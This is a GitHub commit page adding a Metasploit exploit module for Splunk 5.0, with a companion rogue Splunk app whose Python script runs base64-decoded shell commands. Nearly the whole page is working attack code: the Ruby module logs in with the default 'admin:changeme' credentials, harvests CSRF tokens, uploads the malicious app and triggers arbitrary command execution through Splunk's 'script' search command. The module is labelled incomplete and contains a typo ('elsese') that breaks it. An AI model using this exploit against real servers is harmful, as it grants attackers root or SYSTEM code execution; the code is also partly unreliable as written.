Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP
Browse files

Cleanup of #1062

  • Loading branch information...
commit 133ad04452a040fc3640df71751faf753cf4e240 1 parent c66777d
jvazquez-r7 authored
View
BIN  data/exploits/splunk/upload_app_exec.tgz
Binary file not shown
View
15 external/source/exploits/splunk/upload_app_exec/bin/msf_exec.py
@@ -0,0 +1,15 @@
+import sys
+import base64
+import splunk.Intersplunk
+
+results = []
+
+try:
+ sys.modules['os'].system(base64.b64decode(sys.argv[1]))
+
+except:
+ import traceback
+ stack = traceback.format_exc()
+ results = splunk.Intersplunk.generateErrorResults("Error : Traceback: " + str(stack))
+
+splunk.Intersplunk.outputResults(results)
View
7 external/source/exploits/splunk/upload_app_exec/default/app.conf
@@ -0,0 +1,7 @@
+[launcher]
+author=Marc Wickenden
+description=Metasploit module spunk_upload_app_exec.rb
+version=1.3.3.7
+
+[ui]
+is_visible = true
View
7 external/source/exploits/splunk/upload_app_exec/default/commands.conf
@@ -0,0 +1,7 @@
+[msf_exec]
+type = python
+filename = msf_exec.py
+local = false
+enableheader = false
+streaming = false
+perf_warn_limit = 0
View
2  external/source/exploits/splunk/upload_app_exec/metadata/default.meta
@@ -0,0 +1,2 @@
+[commands]
+export = system
View
317 modules/exploits/multi/http/splunk_upload_app_exec.rb
@@ -0,0 +1,317 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => '[INCOMPLETE] Splunk 5.0 Custom App Remote Code Execution',
+ 'Description' => %q{
+ This module exploits a feature of Splunk whereby a custom application can be
+ uploaded through the web based interface. Through the 'script' search command a
+ user can call commands defined in their custom application which includes arbitrary
+ perl or python code. To abuse this behavior, a valid Splunk user with the admin
+ role is required. By default, this module uses the credential of "admin:changeme",
+ the default Administrator credential for Splunk. Note that the Splunk web interface
+ runs as SYSTEM on Windows, or as root on Linux by default. This module has only
+ been tested successfully against Splunk 5.0.
+ },
+ 'Author' =>
+ [
+ "@marcwickenden", # discovery and metasploit module
+ "sinn3r", # metasploit module
+ "juan vazquez", # metasploit module
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'URL', 'http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html' ],
+ [ 'URL', 'http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html' ],
+ [ 'URL', 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ]
+ ],
+ 'Payload' =>
+ {
+ 'Space' => 1024,
+ 'DisableNops' => true
+ },
+ 'Platform' => ['unix', 'win', 'linux'],
+ 'Targets' =>
+ [
+ [ 'Splunk 5.0.1 / Linux',
+ {
+ 'Arch' => ARCH_CMD,
+ 'Platform' => [ 'linux', 'unix' ]
+ }
+ ],
+ [ 'Splunk 5.0.1 / Windows',
+ {
+ 'Arch' => ARCH_CMD,
+ 'Platform' => 'win'
+ }
+ ]
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Sep 27 2012'))
+
+ register_options(
+ [
+ Opt::RPORT(8000),
+ OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
+ OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]),
+ OptPath.new('SPLUNK_APP_FILE',
+ [
+ true,
+ 'The "rogue" Splunk application tgz',
+ File.join(Msf::Config.install_root, 'data', 'exploits', 'splunk', 'upload_app_exec.tgz')
+ ])
+ ], self.class)
+
+ register_advanced_options(
+ [
+ OptBool.new('ReturnOutput', [ true, 'Display command output', false ]),
+ OptBool.new('DisableUpload', [ true, 'Disable the app upload if you have already performed it once', false ]),
+ OptBool.new('EnableOverwrite', [true, 'Overwrites an app of the same name. Needed if you change the app code in the tgz', false]),
+ OptInt.new('CommandOutputDelay', [true, 'Seconds to wait before requesting command output from Splunk', 5])
+ ], self.class)
+ end
+
+ def exploit
+ # process standard options
+ @username = datastore['USERNAME']
+ @password = datastore['PASSWORD']
+ file_name = datastore['SPLUNK_APP_FILE']
+
+ # process advanced options
+ return_output = datastore['ReturnOutput']
+ disable_upload = datastore['DisableUpload']
+ @enable_overwrite = datastore['EnableOverwrite']
+ command_output_delay = datastore['CommandOutputDelay']
+
+ # set up some variables for later use
+ @auth_cookies = ''
+ @csrf_form_key = ''
+ app_name = 'upload_app_exec'
+ p = payload.encoded
+ print_status("Using command: #{p}")
+ cmd = Rex::Text.encode_base64(p)
+
+ # log in to Splunk (if required)
+ do_login
+
+ # fetch the csrf token for use in the upload next
+ do_get_csrf('/en-US/manager/launcher/apps/local')
+
+ unless disable_upload
+ # upload the arbitrary command execution Splunk app tgz
+ do_upload_app(app_name, file_name)
+ end
+
+ # get the next csrf token from our new app
+ do_get_csrf("/en-US/app/#{app_name}/flashtimeline")
+
+ # call our command execution function with the Splunk 'script' command
+ print_status("Invoking script command")
+ res = send_request_cgi(
+ {
+ 'uri' => '/en-US/api/search/jobs',
+ 'method' => 'POST',
+ 'cookie' => @auth_cookies,
+ 'headers' =>
+ {
+ 'X-Requested-With' => 'XMLHttpRequest',
+ 'X-Splunk-Form-Key' => @csrf_form_key
+ },
+ 'vars_post' =>
+ {
+ 'search' => "search * | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf
+ 'status_buckets' => "300",
+ 'namespace' => "#{app_name}",
+ 'ui_dispatch_app' => "#{app_name}",
+ 'ui_dispatch_view' => "flashtimeline",
+ 'auto_cancel' => "100",
+ 'wait' => "0",
+ 'required_field_list' => "*",
+ 'adhoc_search_level' => "smart",
+ 'earliest_time' => "0",
+ 'latest_time' => "",
+ 'timeFormat' => "%s.%Q"
+ }
+ })
+
+ if return_output
+ res.body.match(/data":\ "([0-9.]+)"/)
+ job_id = $1
+
+ # wait a short time to let the output be produced
+ print_status("Waiting for #{command_output_delay} seconds to retrieve command output")
+ select(nil,nil,nil,command_output_delay)
+ job_output = fetch_job_output(job_id)
+ if job_output.body.match(/Waiting for data.../)
+ print_status("No output returned in time")
+ elsese
+ output = ""
+ job_output.body.each_line do |line|
+ # strip off the leading and trailing " added by Splunk
+ line.gsub!(/^"/,"")
+ line.gsub!(/"$/,"")
+ output << line
+ end
+
+ # return the output
+ print_status("Command returned:")
+ print_line output
+ end
+ else
+ handler
+ end
+ end
+
+ def check
+ # all versions are actually "vulnerable" but check implemented for future proofing
+ # and good practice
+ res = send_request_cgi(
+ {
+ 'uri' => '/en-US/account/login',
+ 'method' => 'GET'
+ }, 25)
+
+ if res and res.body =~ /Splunk Inc\. Splunk/
+ return Exploit::CheckCode::Appears
+ else
+ return Exploit::CheckCode::Safe
+ end
+ end
+
+ def do_login
+ print_status("Authenticating...")
+ # this method borrowed with thanks from splunk_mappy_exec.rb
+ res = send_request_cgi(
+ {
+ 'uri' => '/en-US/account/login',
+ 'method' => 'GET'
+ })
+
+ cval = ''
+ uid = ''
+ session_id_port =
+ session_id = ''
+ if res and res.code == 200
+ res.headers['Set-Cookie'].split(';').each {|c|
+ c.split(',').each {|v|
+ if v.split('=')[0] =~ /cval/
+ cval = v.split('=')[1]
+ elsif v.split('=')[0] =~ /uid/
+ uid = v.split('=')[1]
+ elsif v.split('=')[0] =~ /session_id/
+ session_id_port = v.split('=')[0]
+ session_id = v.split('=')[1]
+ end
+ }
+ }
+ else
+ fail_with(Exploit::Failure::NotFound, "Unable to get session cookies")
+ end
+
+ res = send_request_cgi(
+ {
+ 'uri' => '/en-US/account/login',
+ 'method' => 'POST',
+ 'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
+ 'vars_post' =>
+ {
+ 'cval' => cval,
+ 'username' => @username,
+ 'password' => @password
+ }
+ })
+
+ if not res or res.code != 303
+ fail_with(Exploit::Failure::NoAccess, "Unable to authenticate")
+ else
+ session_id_port = ''
+ session_id = ''
+ res.headers['Set-Cookie'].split(';').each {|c|
+ c.split(',').each {|v|
+ if v.split('=')[0] =~ /session_id/
+ session_id_port = v.split('=')[0]
+ session_id = v.split('=')[1]
+ end
+ }
+ }
+ @auth_cookies = "#{session_id_port}=#{session_id}"
+ end
+ end
+
+ def do_upload_app(app_name, file_name)
+ archive_file_name = ::File.basename(file_name)
+ print_status("Uploading file #{archive_file_name}")
+ file_data = ::File.open(file_name, "rb") { |f| f.read }
+
+ boundary = '--------------' + rand_text_alphanumeric(6)
+
+ data = "--#{boundary}\r\n"
+ data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n\r\n"
+ data << "#{@csrf_form_key}"
+ data << "\r\n--#{boundary}\r\n"
+
+ if @enable_overwrite
+ data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n"
+ data << "1"
+ data << "\r\n--#{boundary}\r\n"
+ end
+
+ data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n"
+ data << "Content-Type: application/x-compressed\r\n\r\n"
+ data << file_data
+ data << "\r\n--#{boundary}--\r\n"
+
+ res = send_request_cgi({
+ 'uri' => '/en-US/manager/appinstall/_upload',
+ 'method' => 'POST',
+ 'cookie' => @auth_cookies,
+ 'ctype' => "multipart/form-data; boundary=#{boundary}",
+ 'data' => data
+ }, 30)
+
+ if (res and (res.code == 303 or (res.code == 200 and res.body !~ /There was an error processing the upload/)))
+ print_status("#{app_name} successfully uploaded")
+ else
+ fail_with(Exploit::Failure::Unknown, "Error uploading")
+ end
+ end
+
+ def do_get_csrf(uri)
+ print_status("Fetching csrf token from #{uri}")
+ res = send_request_cgi(
+ {
+ 'uri' => uri,
+ 'method' => 'GET',
+ 'cookie' => @auth_cookies
+ })
+ res.body.match(/FORM_KEY":\ "(\d+)"/)
+ @csrf_form_key = $1
+ fail_with(Exploit::Failure::Unknown, "csrf form Key not found") if not @csrf_form_key
+ end
+
+ def fetch_job_output(job_id)
+ # fetch the output of our job id as csv for easy parsing
+ print_status("Fetching job_output for id #{job_id}")
+ res = send_request_raw(
+ {
+ 'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000",
+ 'method' => 'GET',
+ 'cookie' => @auth_cookies,
+ 'encode_param' => 'false'
+ })
+ end
+
+end

0 comments on commit 133ad04

Please sign in to comment.
Something went wrong with that request. Please try again.